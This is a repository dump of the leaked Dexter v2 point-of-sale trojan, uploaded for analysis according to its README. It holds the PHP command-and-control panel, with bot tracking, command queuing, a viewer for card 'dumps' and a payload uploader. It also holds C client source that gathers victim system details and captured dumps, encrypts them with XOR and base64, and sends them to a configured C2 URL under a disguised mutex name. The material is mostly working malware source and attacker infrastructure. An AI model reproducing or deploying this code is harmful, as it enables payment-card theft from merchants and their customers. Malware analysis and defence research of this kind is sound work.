├── README.md ├── panel ├── HOW TO.txt ├── config.php ├── database.sql ├── gateway.php ├── index.php ├── info.php ├── load.php ├── main.php ├── master.php ├── pagination.php ├── style.css ├── upload.php ├── viewer.php └── viewer_pagination.php └── source ├── CRC32.c ├── CRC32.h ├── Config.h ├── GetOSInfo.c ├── Globals.h ├── HttpInteract.c ├── HttpInteract.h ├── Infect.c ├── InjectSection.c ├── POSGrabber.c ├── POSGrabber.dsp ├── POSGrabber.dsw ├── POSGrabber.sln ├── POSGrabber.suo ├── POSGrabber.vcproj ├── common.c ├── posgrabber.vcxproj ├── posgrabber.vcxproj.filters ├── posgrabber.vcxproj.user └── remotescript.c /README.md: -------------------------------------------------------------------------------- 1 | # Dexter 2 | Dexter v2 - Point of Sales Trojan 3 | 4 | This repository doesn't contain my code. I have uploaded it to GitHub for those want to analyse the code. 5 | 6 | Source: http://www.malwaretech.com/p/sources.html 7 | -------------------------------------------------------------------------------- /panel/HOW TO.txt: -------------------------------------------------------------------------------- 1 | Inside Config.php edit db name, db username, db password 2 | Inside upload.php edit $Site_Url and $DirName 3 | Inside load.php edit $DirName -------------------------------------------------------------------------------- /panel/config.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /panel/database.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 3.4.5 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- Хост: localhost 6 | -- Време на генериране: 7 | -- Версия на сървъра: 5.5.16 8 | -- Версия на PHP: 5.3.8 9 | 10 | SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8 */; 18 | 19 | -- 20 | -- База данни: `nasproject` 21 | -- 22 | 23 | -- -------------------------------------------------------- 24 | 25 | -- 26 | -- Структура на таблица `bots` 27 | -- 28 | 29 | CREATE TABLE IF NOT EXISTS `bots` ( 30 | `UID` text, 31 | `Version` text, 32 | `Username` text, 33 | `Computername` text, 34 | `RemoteIP` text, 35 | `UserAgent` text, 36 | `OS` text, 37 | `Architecture` text, 38 | `Idle Time` text, 39 | `Process List` longtext, 40 | `LastVisit` int(11) DEFAULT NULL, 41 | `LastCommand` int(11) DEFAULT NULL 42 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 43 | 44 | -- -------------------------------------------------------- 45 | 46 | -- 47 | -- Структура на таблица `commands` 48 | -- 49 | 50 | CREATE TABLE IF NOT EXISTS `commands` ( 51 | `UID` text, 52 | `Command` text, 53 | `InsertTime` int(11) DEFAULT NULL 54 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 55 | 56 | -- -------------------------------------------------------- 57 | 58 | -- 59 | -- Структура на таблица `config` 60 | -- 61 | 62 | CREATE TABLE IF NOT EXISTS `config` ( 63 | `Cnf_Name` text, 64 | `Cnf_ValueText` text, 65 | `Cnf_ValueInt` int(11) DEFAULT NULL 66 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 67 | 68 | -- 69 | -- Ссхема на данните от таблица `config` 70 | -- 71 | 72 | INSERT INTO `config` (`Cnf_Name`, `Cnf_ValueText`, `Cnf_ValueInt`) VALUES 73 | ('BotLife', NULL, 40), 74 | ('BotsPerPage', NULL, 20), 75 | ('DumpsPerPage', NULL, 1); 76 | 77 | -- -------------------------------------------------------- 78 | 79 | -- 80 | -- Структура на таблица `logs` 81 | -- 82 | 83 | CREATE TABLE IF NOT EXISTS `logs` ( 84 | `UID` text, 85 | `IP` text, 86 | `Dump` text, 87 | `Type` text, 88 | `Bin` text, 89 | `ServiceCode` text, 90 | `InsertTime` bigint(20) DEFAULT NULL 91 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 92 | 93 | -- -------------------------------------------------------- 94 | 95 | -- 96 | -- Структура на таблица `users` 97 | -- 98 | 99 | CREATE TABLE IF NOT EXISTS `users` ( 100 | `name` text, 101 | `password` text 102 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 103 | 104 | -- 105 | -- Ссхема на данните от таблица `users` 106 | -- 107 | 108 | INSERT INTO `users` (`name`, `password`) VALUES 109 | ('user', 'password'); 110 | 111 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 112 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 113 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 114 | -------------------------------------------------------------------------------- /panel/gateway.php: -------------------------------------------------------------------------------- 1 | '$LastCommand' OR `UID` LIKE \"\" AND `InsertTime` > '$LastCommand'"; 154 | //echo $query; 155 | $result = mysql_query($query); 156 | 157 | $LastCommand = 0; 158 | if(!empty($result)) { 159 | while($row = mysql_fetch_array($result)) { 160 | $cookieData .= $row["Command"]; 161 | $cookieData .= ";"; 162 | $LastCommand = $row["InsertTime"]; 163 | } 164 | } 165 | 166 | $cookieData .= '#'; 167 | //////////////////////////////// 168 | 169 | //Update the bot last command 170 | if($LastCommand!=0) { 171 | $update = "UPDATE `" . $dbname . "`.`bots` SET `LastCommand` = '$LastCommand' WHERE `UID` = '$UID'"; 172 | mysql_query($update); 173 | } 174 | ////////////////////////////////////// 175 | 176 | //echo $cookieData; 177 | //Display the command 178 | $cookieData = base64_encode(_xor($cookieData, $Key)); 179 | setcookie('response',$cookieData); 180 | 181 | ////////////////////////// 182 | 183 | } //THERE IS BOT CONNECTED 184 | 185 | ?> -------------------------------------------------------------------------------- /panel/index.php: -------------------------------------------------------------------------------- 1 | 2 |
31 | Username:
32 |
33 | Password:
34 |
35 | 36 |
"; // That set up the form to enter your password and username to login. 37 | ?> 38 | -------------------------------------------------------------------------------- /panel/info.php: -------------------------------------------------------------------------------- 1 | 2 | " . $uid . "
"; 24 | $rows = substr_count($row["Process List"],"\n")+1; 25 | echo ""; 26 | } 27 | 28 | } else { echo "WTF your looking for here!?!?"; } 29 | ?> -------------------------------------------------------------------------------- /panel/load.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /panel/main.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 10 | 11 | 12 | 13 | Dumps Viewer 14 | Bots Control 15 | File Uploader 16 | 17 | 18 | -------------------------------------------------------------------------------- /panel/master.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 |
6 | Command: 7 | Value: 8 |
9 | 10 | 11 |
12 | 13 | -------------------------------------------------------------------------------- /panel/pagination.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | All Bots: " . $AllBots . "
"; 22 | ///////////////////////////////////// 23 | 24 | //Display bots online count 25 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'BotLife'"; 26 | $result = mysql_query($query); 27 | $row = mysql_fetch_array($result); 28 | $BotLife = $row["Cnf_ValueInt"]; 29 | 30 | 31 | $Life = time() - ($row["Cnf_ValueInt"]*60); //convert minutes into seconds 32 | $query = "SELECT * FROM `bots` WHERE `LastVisit` >= '$Life'"; 33 | $result = mysql_query($query); 34 | $BotsOnline = mysql_num_rows($result); 35 | echo " Bots Online: " . $BotsOnline . "
"; 36 | ///////////////////////////////// 37 | 38 | $tbl_name="bots"; //your table name 39 | // How many adjacent pages should be shown on each side? 40 | $adjacents = 3; 41 | 42 | /* 43 | First get total number of rows in data table. 44 | If you have a WHERE clause in your query, make sure you mirror it here. 45 | */ 46 | $query = "SELECT * FROM $tbl_name"; //FIXME: This is probably slowing the script 47 | $total_pages = mysql_num_rows(mysql_query($query)); 48 | //$total_pages = $total_pages[num]; 49 | 50 | /* Setup vars for query. */ 51 | $targetpage = "master.php"; //your file name (the name of this file) 52 | //$limit = 2; //how many items to show per page 53 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'BotsPerPage'"; 54 | $row = mysql_fetch_array(mysql_query($query)); 55 | $limit = $row["Cnf_ValueInt"]; 56 | $page = isset($_GET['page']) ? $_GET['page'] : ""; 57 | if($page) 58 | $start = ($page - 1) * $limit; //first item to display on this page 59 | else 60 | $start = 0; //if no page var is given, set start to 0 61 | 62 | /* Get data. */ 63 | $sql = "SELECT * FROM $tbl_name LIMIT $start, $limit"; 64 | $result = mysql_query($sql); 65 | 66 | /* Setup page vars for display. */ 67 | if ($page == 0) $page = 1; //if no page var is given, default to 1. 68 | $prev = $page - 1; //previous page is page - 1 69 | $next = $page + 1; //next page is page + 1 70 | $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up. 71 | $lpm1 = $lastpage - 1; //last page minus 1 72 | 73 | /* 74 | Now we apply our rules and draw the pagination object. 75 | We're actually saving the code to a variable in case we want to draw it more than once. 76 | */ 77 | $pagination = ""; 78 | if($lastpage > 1) 79 | { 80 | $pagination .= "
"; 81 | //previous button 82 | if ($page > 1) 83 | $pagination.= "previous"; 84 | else 85 | $pagination.= "previous"; 86 | 87 | //pages 88 | if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up 89 | { 90 | for ($counter = 1; $counter <= $lastpage; $counter++) 91 | { 92 | if ($counter == $page) 93 | $pagination.= "$counter"; 94 | else 95 | $pagination.= "$counter"; 96 | } 97 | } 98 | elseif($lastpage > 5 + ($adjacents * 2)) //enough pages to hide some 99 | { 100 | //close to beginning; only hide later pages 101 | if($page < 1 + ($adjacents * 2)) 102 | { 103 | for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) 104 | { 105 | if ($counter == $page) 106 | $pagination.= "$counter"; 107 | else 108 | $pagination.= "$counter"; 109 | } 110 | $pagination.= "..."; 111 | $pagination.= "$lpm1"; 112 | $pagination.= "$lastpage"; 113 | } 114 | //in middle; hide some front and some back 115 | elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) 116 | { 117 | $pagination.= "1"; 118 | $pagination.= "2"; 119 | $pagination.= "..."; 120 | for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) 121 | { 122 | if ($counter == $page) 123 | $pagination.= "$counter"; 124 | else 125 | $pagination.= "$counter"; 126 | } 127 | $pagination.= "..."; 128 | $pagination.= "$lpm1"; 129 | $pagination.= "$lastpage"; 130 | } 131 | //close to end; only hide early pages 132 | else 133 | { 134 | $pagination.= "1"; 135 | $pagination.= "2"; 136 | $pagination.= "..."; 137 | for ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++) 138 | { 139 | if ($counter == $page) 140 | $pagination.= "$counter"; 141 | else 142 | $pagination.= "$counter"; 143 | } 144 | } 145 | } 146 | 147 | //next button 148 | if ($page < $counter - 1) 149 | $pagination.= "next"; 150 | else 151 | $pagination.= "next"; 152 | $pagination.= "
\n"; 153 | } 154 | ?> 155 | 156 | 157 | '; 160 | echo ''; 161 | echo ''; 162 | echo 'UID'; 163 | echo 'Version'; 164 | echo 'Remote IP'; 165 | echo 'Username'; 166 | echo 'Computername'; 167 | echo 'User Agent'; 168 | echo 'OS'; 169 | echo 'Architecture'; 170 | echo 'Idle Time'; 171 | echo 'Last Visit'; 172 | echo 'Process List'; 173 | echo ''; 174 | 175 | 176 | $ValuesNames = array( "UID","Version","RemoteIP","Username","Computername","UserAgent","OS","Architecture","Idle Time","LastVisit" ); 177 | 178 | while($row = mysql_fetch_array($result)) { 179 | 180 | $i = 0; 181 | $UID = $row["UID"]; 182 | $html = ''; 183 | $html.= "Delete"; 184 | while(isset($ValuesNames[$i])) { 185 | 186 | $html.= ''; 187 | if($ValuesNames[$i]=="LastVisit") { 188 | $html.= date("r",$row[$ValuesNames[$i]]); 189 | } else { 190 | $html.= $row[$ValuesNames[$i]]; 191 | } 192 | $html.= ''; 193 | 194 | $i++; 195 | } 196 | 197 | $html.= ''; 198 | $html.= "Process List"; //FIXME: learn how to insert php vars in javascript 199 | $html.= ''; 200 | 201 | $html.= ''; 202 | 203 | echo $html; 204 | 205 | } 206 | 207 | echo ''; 208 | ?> 209 | 210 | 211 | -------------------------------------------------------------------------------- /panel/style.css: -------------------------------------------------------------------------------- 1 | div.pagination { 2 | padding: 3px; 3 | margin: 3px; 4 | } 5 | 6 | div.pagination a { 7 | padding: 2px 5px 2px 5px; 8 | margin: 2px; 9 | border: 1px solid #AAAADD; 10 | 11 | text-decoration: none; /* no underline */ 12 | color: #000099; 13 | } 14 | div.pagination a:hover, div.pagination a:active { 15 | border: 1px solid #000099; 16 | 17 | color: #000; 18 | } 19 | div.pagination span.current { 20 | padding: 2px 5px 2px 5px; 21 | margin: 2px; 22 | border: 1px solid #000099; 23 | 24 | font-weight: bold; 25 | background-color: #000099; 26 | color: #FFF; 27 | } 28 | div.pagination span.disabled { 29 | padding: 2px 5px 2px 5px; 30 | margin: 2px; 31 | border: 1px solid #EEE; 32 | 33 | color: #DDD; 34 | } 35 | -------------------------------------------------------------------------------- /panel/upload.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 |
19 | 20 | 21 | '; 53 | echo ''; 54 | echo ''; 55 | echo ''; 56 | echo ''; 57 | echo ''; 58 | 59 | $handle = opendir($DirName); 60 | 61 | while (false !== ($entry = readdir($handle))) { 62 | if ($entry != "." && $entry != "..") { 63 | echo ''; 64 | echo ""; 65 | echo ""; 66 | echo ''; 67 | echo ''; 68 | } 69 | } 70 | 71 | echo '
File NameURL
Delete" . $entry . "' . $Site_Url . "load.php?request=" . substr($entry, 0, -4) . "\n" . '
'; 72 | ?> -------------------------------------------------------------------------------- /panel/viewer.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /panel/viewer_pagination.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | All Dumps: " . $AllBots . "
"; 21 | echo "Server Time: " . date("r") . "

"; 22 | ///////////////////////////////////// 23 | 24 | $tbl_name="logs"; //your table name 25 | // How many adjacent pages should be shown on each side? 26 | $adjacents = 3; 27 | 28 | /* 29 | First get total number of rows in data table. 30 | If you have a WHERE clause in your query, make sure you mirror it here. 31 | */ 32 | $query = "SELECT * FROM $tbl_name"; //FIXME: This is probably slowing the script 33 | $total_pages = mysql_num_rows(mysql_query($query)); 34 | //$total_pages = $total_pages[num]; 35 | 36 | /* Setup vars for query. */ 37 | $targetpage = "viewer.php"; //your file name (the name of this file) 38 | //$limit = 2; //how many items to show per page 39 | $query = "SELECT `Cnf_ValueInt` FROM `config` WHERE `Cnf_Name` = 'DumpsPerPage'"; 40 | $row = mysql_fetch_array(mysql_query($query)); 41 | $limit = $row["Cnf_ValueInt"]; 42 | $page = isset($_GET['page']) ? $_GET['page'] : ""; 43 | if($page) 44 | $start = ($page - 1) * $limit; //first item to display on this page 45 | else 46 | $start = 0; //if no page var is given, set start to 0 47 | 48 | /* Get data. */ 49 | $sql = "SELECT * FROM $tbl_name LIMIT $start, $limit"; 50 | $result = mysql_query($sql); 51 | 52 | /* Setup page vars for display. */ 53 | if ($page == 0) $page = 1; //if no page var is given, default to 1. 54 | $prev = $page - 1; //previous page is page - 1 55 | $next = $page + 1; //next page is page + 1 56 | $lastpage = ceil($total_pages/$limit); //lastpage is = total pages / items per page, rounded up. 57 | $lpm1 = $lastpage - 1; //last page minus 1 58 | 59 | /* 60 | Now we apply our rules and draw the pagination object. 61 | We're actually saving the code to a variable in case we want to draw it more than once. 62 | */ 63 | $pagination = ""; 64 | if($lastpage > 1) 65 | { 66 | $pagination .= "
"; 67 | //previous button 68 | if ($page > 1) 69 | $pagination.= "previous"; 70 | else 71 | $pagination.= "previous"; 72 | 73 | //pages 74 | if ($lastpage < 7 + ($adjacents * 2)) //not enough pages to bother breaking it up 75 | { 76 | for ($counter = 1; $counter <= $lastpage; $counter++) 77 | { 78 | if ($counter == $page) 79 | $pagination.= "$counter"; 80 | else 81 | $pagination.= "$counter"; 82 | } 83 | } 84 | elseif($lastpage > 5 + ($adjacents * 2)) //enough pages to hide some 85 | { 86 | //close to beginning; only hide later pages 87 | if($page < 1 + ($adjacents * 2)) 88 | { 89 | for ($counter = 1; $counter < 4 + ($adjacents * 2); $counter++) 90 | { 91 | if ($counter == $page) 92 | $pagination.= "$counter"; 93 | else 94 | $pagination.= "$counter"; 95 | } 96 | $pagination.= "..."; 97 | $pagination.= "$lpm1"; 98 | $pagination.= "$lastpage"; 99 | } 100 | //in middle; hide some front and some back 101 | elseif($lastpage - ($adjacents * 2) > $page && $page > ($adjacents * 2)) 102 | { 103 | $pagination.= "1"; 104 | $pagination.= "2"; 105 | $pagination.= "..."; 106 | for ($counter = $page - $adjacents; $counter <= $page + $adjacents; $counter++) 107 | { 108 | if ($counter == $page) 109 | $pagination.= "$counter"; 110 | else 111 | $pagination.= "$counter"; 112 | } 113 | $pagination.= "..."; 114 | $pagination.= "$lpm1"; 115 | $pagination.= "$lastpage"; 116 | } 117 | //close to end; only hide early pages 118 | else 119 | { 120 | $pagination.= "1"; 121 | $pagination.= "2"; 122 | $pagination.= "..."; 123 | for ($counter = $lastpage - (2 + ($adjacents * 2)); $counter <= $lastpage; $counter++) 124 | { 125 | if ($counter == $page) 126 | $pagination.= "$counter"; 127 | else 128 | $pagination.= "$counter"; 129 | } 130 | } 131 | } 132 | 133 | //next button 134 | if ($page < $counter - 1) 135 | $pagination.= "next"; 136 | else 137 | $pagination.= "next"; 138 | $pagination.= "
\n"; 139 | } 140 | ?> 141 | 142 | 143 | '; 146 | echo ''; 147 | echo 'Type'; 148 | echo 'Dump'; 149 | echo 'Log Time'; 150 | echo ''; 151 | 152 | 153 | $ValuesNames = array( "Type","Dump","InsertTime" ); 154 | 155 | while($row = mysql_fetch_array($result)) { 156 | 157 | $i = 0; 158 | $html = ''; 159 | while(isset($ValuesNames[$i])) { 160 | 161 | $html.= ''; 162 | if($ValuesNames[$i]=="InsertTime") { 163 | $html.= date("r",$row[$ValuesNames[$i]]); 164 | } else { 165 | $html.= $row[$ValuesNames[$i]]; 166 | } 167 | $html.= ''; 168 | 169 | $i++; 170 | } 171 | 172 | $html.= ''; 173 | 174 | echo $html; 175 | 176 | } 177 | 178 | echo ''; 179 | ?> 180 | 181 | 182 | -------------------------------------------------------------------------------- /source/CRC32.c: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/CRC32.c -------------------------------------------------------------------------------- /source/CRC32.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/Dexter/efe615e7bec4628c4550816b0c5f50fc0c03264f/source/CRC32.h -------------------------------------------------------------------------------- /source/Config.h: -------------------------------------------------------------------------------- 1 | 2 | //BEGIN CONFIG/////////// 3 | #define Version "Machines" 4 | #define MemoryScanInterval (20*60000) //1min 5 | #define HttpConnectInterval (200*60000) //30min 6 | #define MutexString "WindowsResilienceServiceMutex" 7 | static char *Urls[] = { "*********.com",0x00 }; 8 | static char *Pages[] = { "images/logo/header.php",0x00 }; 9 | //END CONFIG//////////// 10 | -------------------------------------------------------------------------------- /source/GetOSInfo.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | #include "Globals.h" 6 | #include "Config.h" 7 | 8 | #define VER_SUITE_WH_SERVER 0x00008000 9 | #define SM_SERVERR2 89 10 | 11 | typedef void (WINAPI *__GetNativeSystemInfo)(LPSYSTEM_INFO); 12 | 13 | void GetOSVersion(char *OS) { 14 | 15 | OSVERSIONINFOEX osi; 16 | SYSTEM_INFO si; 17 | __GetNativeSystemInfo _GetNativeSystemInfo; 18 | 19 | 20 | _memset(&osi,0x00,sizeof(osi)); 21 | _memset(&si,0x00,sizeof(si)); 22 | osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); 23 | 24 | 25 | if(x64==TRUE) { //we are runnning on x64 26 | _GetNativeSystemInfo = (__GetNativeSystemInfo) GetProcAddress(GetModuleHandle("kernel32.dll"),"GetNativeSystemInfo"); 27 | _GetNativeSystemInfo(&si); 28 | } else { //we are running on x86 29 | GetSystemInfo(&si); 30 | } 31 | 32 | GetVersionEx((OSVERSIONINFO *)&osi); 33 | 34 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==0) { 35 | lstrcpy(OS,"Windows 2000"); 36 | return; 37 | } 38 | 39 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==1) { 40 | lstrcpy(OS,"Windows XP"); 41 | return; 42 | } 43 | 44 | if(osi.dwMajorVersion==5 && osi.dwMinorVersion==2) { 45 | if((osi.wProductType == VER_NT_WORKSTATION) && (si.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_AMD64)) { 46 | lstrcpy(OS,"Windows XP Professional x64"); 47 | return; 48 | } 49 | if(GetSystemMetrics(SM_SERVERR2)==0) { 50 | lstrcpy(OS,"Windows Server 2003"); 51 | return; 52 | } 53 | if((osi.wSuiteMask & VER_SUITE_WH_SERVER)==0) { 54 | lstrcpy(OS,"Windows Home Server"); 55 | return; 56 | } 57 | if(GetSystemMetrics(SM_SERVERR2)!=0) { 58 | lstrcpy(OS,"Windows Server 2003 R2"); 59 | return; 60 | } 61 | 62 | } 63 | 64 | if(osi.dwMajorVersion==6 && osi.dwMinorVersion==0) { 65 | if(osi.wProductType == VER_NT_WORKSTATION) { 66 | lstrcpy(OS,"Windows Vista"); 67 | return; 68 | } 69 | if(osi.wProductType != VER_NT_WORKSTATION) { 70 | lstrcpy(OS,"Windows Server 2008"); 71 | return; 72 | } 73 | } 74 | if(osi.dwMajorVersion==6 && osi.dwMinorVersion==1) { 75 | if(osi.wProductType != VER_NT_WORKSTATION) { 76 | lstrcpy(OS,"Windows Server R2"); 77 | return; 78 | } 79 | if(osi.wProductType == VER_NT_WORKSTATION) { 80 | lstrcpy(OS,"Windows 7"); 81 | return; 82 | } 83 | } 84 | 85 | } 86 | 87 | void GetIdleTime(char *Idle) { //returns Idle time in seconds as String 88 | 89 | DWORD tickCount,idleCount; 90 | LASTINPUTINFO lif; 91 | 92 | _memset(&lif,0x00,sizeof(lif)); 93 | lif.cbSize = sizeof(LASTINPUTINFO); 94 | 95 | _GetLastInputInfo(&lif); 96 | tickCount = GetTickCount(); 97 | idleCount = (tickCount - lif.dwTime) / 1000; 98 | wsprintf(Idle,"%d",idleCount); 99 | } 100 | 101 | char *GetProcList() { 102 | 103 | HANDLE hSnapShot,hProcess; 104 | PROCESSENTRY32 ProcInfo; 105 | char FullPath[MAX_PATH],*ProcList,*NewProcList; 106 | DWORD size,staticSize; 107 | 108 | _memset(&ProcInfo,0x00,sizeof(PROCESSENTRY32)); 109 | ProcInfo.dwSize = sizeof(PROCESSENTRY32); 110 | 111 | hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 112 | Process32First(hSnapShot,&ProcInfo); 113 | 114 | 115 | size = 0; 116 | staticSize = 4096; 117 | ProcList = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,staticSize); //alloc static memory for the proc list 118 | _memset(ProcList,0x00,staticSize); 119 | 120 | do{ 121 | 122 | hProcess = NULL; 123 | 124 | _memset(FullPath,0x00,sizeof(FullPath)); 125 | wsprintf(FullPath,"%s\n",ProcInfo.szExeFile); 126 | 127 | size = size + lstrlenA(FullPath); 128 | if(size>staticSize) { 129 | 130 | NewProcList = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,size); 131 | _memset(NewProcList,0x00,size); 132 | lstrcpyA(NewProcList,ProcList); 133 | HeapFree(hHeap,HEAP_ZERO_MEMORY,ProcList); 134 | staticSize = size; 135 | ProcList = NewProcList; 136 | } 137 | lstrcatA(ProcList,FullPath); 138 | 139 | if(hProcess!=NULL) { CloseHandle(hProcess); } 140 | } while(Process32Next(hSnapShot,&ProcInfo)); 141 | 142 | CloseHandle(hSnapShot); 143 | 144 | 145 | return ProcList; 146 | } 147 | 148 | void CryptEncodeCombine(char *VarName,char *VarData,char *GlobalVar); 149 | 150 | void GatherInfo(BOOL fFullInfo) { //fFullInfo - TRUE = gather full info, executed only at first connect. 151 | //fFullInfo - FALSE = gather only runtime changing info, execute at every check 152 | 153 | char UID[37],Username[64],Computername[64],OS[64],Arch[10],Idle[10],*ProcList; 154 | DWORD Size,TotalSize; 155 | 156 | if(fFullInfo==TRUE) { TotalSize = fullVarSize; } else { TotalSize = runtimeVarSize; } 157 | 158 | if(fFullInfo==TRUE) { //We gather full info 159 | 160 | //Get Username 161 | _memset(Username,0x00,sizeof(Username)); 162 | Size = sizeof(Username); 163 | GetUserName(Username,&Size); 164 | TotalSize += lstrlen(Username); 165 | 166 | //Get Computer Name 167 | _memset(Computername,0x00,sizeof(Computername)); 168 | Size = sizeof(Computername); 169 | GetComputerName(Computername,&Size); 170 | TotalSize += lstrlen(Computername); 171 | 172 | //Get OS Version Name 173 | _memset(OS,0x00,sizeof(OS)); 174 | GetOSVersion(OS); 175 | TotalSize += lstrlen(OS); 176 | 177 | //Get Architecture 178 | if(x64==TRUE) { lstrcpy(Arch,"64 Bit"); } else { lstrcpy(Arch,"32 Bit"); } 179 | TotalSize += lstrlen(Arch); 180 | 181 | } 182 | 183 | //Get UID 184 | lstrcpy(UID,Uniq); 185 | TotalSize += lstrlen(UID); 186 | 187 | //Get Idle Time In Seconds 188 | _memset(Idle,0x00,sizeof(Idle)); 189 | GetIdleTime(Idle); 190 | TotalSize += lstrlen(Idle); 191 | 192 | //Get process list - need to free it later 193 | ProcList = GetProcList(); 194 | TotalSize += lstrlen(ProcList); 195 | 196 | //Get dumps - we directly use the buffer, then zero it and zero the size variables 197 | EnterCriticalSection(&crsBlob); 198 | 199 | TotalSize += GrowSize; 200 | //Alloc the pHttpData 201 | pHttpData = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,(2*TotalSize)); //Because base64 increase buffer size by around 1.33 202 | CryptEncodeCombine(varUID,UID,pHttpData); //UID has to be first always 203 | /////////////////////////////////////// 204 | 205 | if(GrowSize>0) { 206 | 207 | pBlob -= GrowSize; 208 | //MessageBox(NULL,pBlob,NULL,MB_OK); 209 | CryptEncodeCombine(varDumps,pBlob,pHttpData); 210 | _memset(pBlob,0x00,GrowSize); 211 | GrowSize = 0; 212 | } 213 | LeaveCriticalSection(&crsBlob); 214 | ///////////////////////////////////////////////// 215 | 216 | if(fFullInfo==TRUE) { 217 | 218 | CryptEncodeCombine(varUsername,Username,pHttpData); 219 | CryptEncodeCombine(varComputername,Computername,pHttpData); 220 | CryptEncodeCombine(varOS,OS,pHttpData); 221 | CryptEncodeCombine(varArch,Arch,pHttpData); 222 | } 223 | 224 | CryptEncodeCombine(varIdle,Idle,pHttpData); 225 | CryptEncodeCombine(varProclist,ProcList,pHttpData); 226 | 227 | //Add the bot version 228 | lstrcpy(BotVersion,Version); 229 | CryptEncodeCombine(varVersion,BotVersion,pHttpData); 230 | 231 | //Add the xor key 232 | lstrcat(pHttpData,varKey); 233 | lstrcat(pHttpData,EncodedKey); 234 | 235 | HeapFree(hHeap,0,ProcList); 236 | //MessageBox(NULL,pHttpData,NULL,MB_OK); 237 | } 238 | 239 | void CryptEncodeCombine(char *VarName,char *VarData,char *GlobalVar) { 240 | 241 | int Size; 242 | char *pEncoded; 243 | 244 | Size = lstrlenA(VarData); 245 | pEncoded = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,Size*2); //CUZ COMPRESSION IS DISABLED 246 | 247 | //crypt with xor 248 | _xor(VarData,Key,Size,lstrlenA(Key)); 249 | 250 | //encode with base64 251 | base64_encode(VarData,Size,pEncoded,Size*2); 252 | 253 | 254 | lstrcatA(GlobalVar,VarName); 255 | lstrcatA(GlobalVar,pEncoded); 256 | 257 | HeapFree(hHeap,0,pEncoded); 258 | } 259 | -------------------------------------------------------------------------------- /source/Globals.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // typedef struct tagLASTINPUTINFO { 4 | // UINT cbSize; 5 | // DWORD dwTime; 6 | // } LASTINPUTINFO, *PLASTINPUTINFO; 7 | 8 | typedef BOOL (WINAPI *__GetLastInputInfo)(PLASTINPUTINFO); 9 | __GetLastInputInfo _GetLastInputInfo; 10 | 11 | typedef BOOL (WINAPI *mIsWoW64Process) (HANDLE, PBOOL); 12 | mIsWoW64Process IsWoW64ProcessX; 13 | 14 | //global funcs 15 | void Update(char *Url); 16 | void Downloader(char *Url); 17 | void Uninstall(); 18 | void HttpInteract(); 19 | LRESULT CALLBACK DetectShutdown(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam); 20 | void MonitorShutdown(); 21 | ULONG_PTR GetParentProcessId(); 22 | BYTE *GetDownloadFileSize(char *conf,DWORD *pFileSize); 23 | char *DownloadFile(char *Url, DWORD *pFileSize); 24 | BOOL GetCookie(char *CookieUrl, char *pCommand); 25 | int _atoi(const char *string); 26 | int CopyTill(char *dest,char *src,char c); 27 | void ExecCommands(char *pCommands); 28 | void RandStrA(char *ptr,int len); 29 | void RandStrW(WCHAR *ptr,int len); 30 | void __cdecl _srand(unsigned int seed); 31 | int __cdecl _rand(); 32 | void GenUnique(char *ptr); 33 | void GetDebugPrivs(); 34 | BOOL IsPCx64(); 35 | void _xor(char *src,char *key,int srclen,int keylen); 36 | void base64_encode(unsigned char *input_buffer, size_t input_len,char *output_buffer, size_t output_len); 37 | int base64_decode(const BYTE* pSrc, int nLenSrc, char* pDst, int nLenDst); 38 | void url_decode(char *str, char *buf); 39 | void 